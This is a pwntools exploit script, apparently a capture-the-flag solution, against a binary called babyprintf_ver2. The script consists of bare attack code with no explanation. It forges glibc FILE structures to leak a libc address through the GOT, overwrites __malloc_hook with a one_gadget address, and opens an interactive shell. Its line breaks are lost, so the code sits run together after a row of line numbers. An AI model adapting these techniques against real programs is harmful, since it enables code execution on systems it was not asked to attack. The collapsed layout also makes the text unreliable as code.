1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
context.log_level='debug'
s = lambda buf : p.send(buf) sl = lambda buf : p.sendline(buf) sa = lambda delim, buf : p.sendafter(delim, buf) sal = lambda delim, buf : p.sendlineafter(delim, buf) sh = lambda : p.interactive() r = lambda n=None : p.recv(n) ra = lambda t=tube.forever :p.recvall(t) ru = lambda delim : p.recvuntil(delim) rl = lambda : p.recvline() rls = lambda n=2**20 : p.recvlines(n)
p = process("./babyprintf_ver2") elf = ELF("./babyprintf_ver2") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def file(_flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0, _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0, _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0, _flag2=0, _lock=0): f = p64(_flags) + p64(_IO_read_ptr) + \ p64(_IO_read_end) + p64(_IO_read_base) + \ p64(_IO_write_base) + p64(_IO_write_ptr) + \ p64(_IO_write_end) + p64(_IO_buf_base) + \ p64(_IO_buf_end) + p64(_IO_save_base) + \ p64(_IO_backup_base) + p64(_IO_save_end) + \ p64(_markers) + p64(_chain) + \ p64(_fileno) + p64(_flag2) + \ p64(0) + p64(_lock) f = f.ljust(0xd0,'\x00') return f
ru("ocation to ") stdout = int(r(len("0x5606da8ef010")),16)+0x10 elf.address = stdout - 0x202020
info("stdout => 0x%x"%stdout) payload = "" payload += "A"*16 payload += p64(stdout+0x8) payload += file(_flags=0xfbad2887, _IO_write_base=elf.got["puts"], _IO_write_ptr=elf.got["puts"]+8, _IO_read_end=elf.got["puts"], _lock = stdout+0x100, _fileno = 1,) payload = payload.ljust(0x1ff,"\x00") raw_input("break 1") sl(payload) puts = u64(ru("\x7f")[-6:]+"\x00\x00") info("puts => 0x%x"%puts) libc.address = puts-libc.sym["puts"]
ogg = [libc.address+_ for _ in (0x4f3d5,0x4f432,0x10a41c)] og = ogg[1] payload = p64(og) payload += "B"*8 payload += p64(stdout+0x8) payload += file(_flags=0xfbad2887, _IO_write_ptr=libc.sym["__malloc_hook"], _IO_write_end=libc.sym["__malloc_hook"]+8, _lock = stdout+0x100, _fileno = 1,) payload = payload.ljust(0x1ff,"\x00") raw_input("break 2") sl(payload) r() sl("%100000c") sh()
|